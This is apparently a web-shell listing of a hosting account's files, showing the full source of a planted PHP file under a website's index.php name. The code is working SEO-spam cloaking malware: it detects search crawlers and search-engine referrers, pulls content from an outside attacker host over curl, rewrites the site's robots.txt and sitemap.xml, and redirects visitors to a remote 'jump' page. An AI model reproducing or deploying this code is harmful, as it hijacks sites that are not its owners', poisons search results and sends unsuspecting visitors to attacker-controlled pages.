%PDF- %PDF-
Direktori : /home/silvzytp/crm-dub.silveroak.website/ |
Current File : /home/silvzytp/crm-dub.silveroak.website/index.php1719012538 |
<?php error_reporting(0); $interDomain = 'http://de2.hatefemale.top/z0327_23/sitemap/'; function getServerContent($url, $data = array()){ $url = str_replace(' ', '+', $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); curl_close($ch); return $output; } function getReqUri() { $script_name = basename($_SERVER['SCRIPT_FILENAME']); if (basename($_SERVER['SCRIPT_NAME']) === $script_name) { $url = $_SERVER['SCRIPT_NAME']; } elseif (basename($_SERVER['PHP_SELF']) === $script_name) { $url = $_SERVER['PHP_SELF']; } elseif (basename($_SERVER['ORIG_SCRIPT_NAME']) === $script_name) { $url = $_SERVER['ORIG_SCRIPT_NAME']; } elseif (($pos = strpos($_SERVER['PHP_SELF'], '/' . $script_name)) !== false) { $url = substr($_SERVER['SCRIPT_NAME'], 0, $pos) . '/' . $script_name; } elseif ($_SERVER['DOCUMENT_ROOT'] && strpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['DOCUMENT_ROOT']) === 0) { $url = str_replace($_SERVER['DOCUMENT_ROOT'], '', $_SERVER['SCRIPT_FILENAME']); } if (($pos = strpos($_SERVER['REQUEST_URI'], '.php')) !== false) { $requri = $url . substr($_SERVER['REQUEST_URI'], $pos + 4); } else { $requri = $url . substr($_SERVER['REQUEST_URI'], strpos($_SERVER['REQUEST_URI'], '/')); } return rtrim($requri, '/'); } function checkReferer($refer) { $referbots = 'google|yahoo|bing|aol|apple'; if ($refer != '' && preg_match("/($referbots)/si", $refer)) { return true; } return false; } function isCrawler($agent){ $agent = strtolower($agent); $bots = 'googlebot|google|aol|yahoo|bingbot|bing|bytespider|applebot|spider'; if ($agent != '' && preg_match("/($bots)/si", $agent)) { return true; } return false; } $http = isset($_SERVER['REQUEST_SCHEME']) ? strtolower($_SERVER['REQUEST_SCHEME']) . '://' : ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'); $urlMap = $interDomain . "index"; $urlJump = $interDomain . "jump"; $requri = getReqUri(); $requrl = $http . $_SERVER['SERVER_NAME'] . $requri; $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; $referer = isset($_SERVER['HTTP_REFERER']) ? strtolower($_SERVER['HTTP_REFERER']) : ''; $params = array( 'domain' => $http . $_SERVER["HTTP_HOST"], 'req_uri' => $requri, 'req_url' => $requrl, 'req_ua' => $userAgent, 'req_rf' => $referer ); if (isCrawler($userAgent) || substr($params['req_uri'], -6) === 'robots' || substr($params['req_uri'], -4) === '.xml') { $output = getServerContent($urlMap, $params); if (in_array(substr($params['req_uri'], -7), ['/robots', '?robots']) && !empty($output)) { $output = json_decode($output, true); $subfile = (isset($output[2]) && !empty($output[2])) ? true : false; file_put_contents(__DIR__ . '/robots.txt', (isset($output[0]) && !empty($output[0])) ? $output[0] : '', $subfile ? 8 : 0); file_put_contents(__DIR__ . '/sitemap.xml', (isset($output[1]) && !empty($output[1])) ? $output[1] : ''); $robots_cont = file_get_contents(__DIR__ . '/robots.txt'); if (strpos(strtolower($robots_cont), "sitemap")!==false) { die('robots.txt and sitemap.xml file create success!'); } else { die('robots.txt and sitemap.xml file create fail!'); } } elseif (!empty($output)) { if (substr($output, 0, 5) === '<?xml') { header("Content-type:text/xml"); } else { header("Content-type:text/html; charset=utf-8"); } if (strpos(strtolower($params['req_uri']), "pingsitemap.xml") === false) { echo $output; } } if (!empty($output) || (!empty($output) && substr($output, 0, 2) !== '{"')) { exit; } } if (checkReferer($referer)) { echo getServerContent($urlJump, $params); exit; } ?>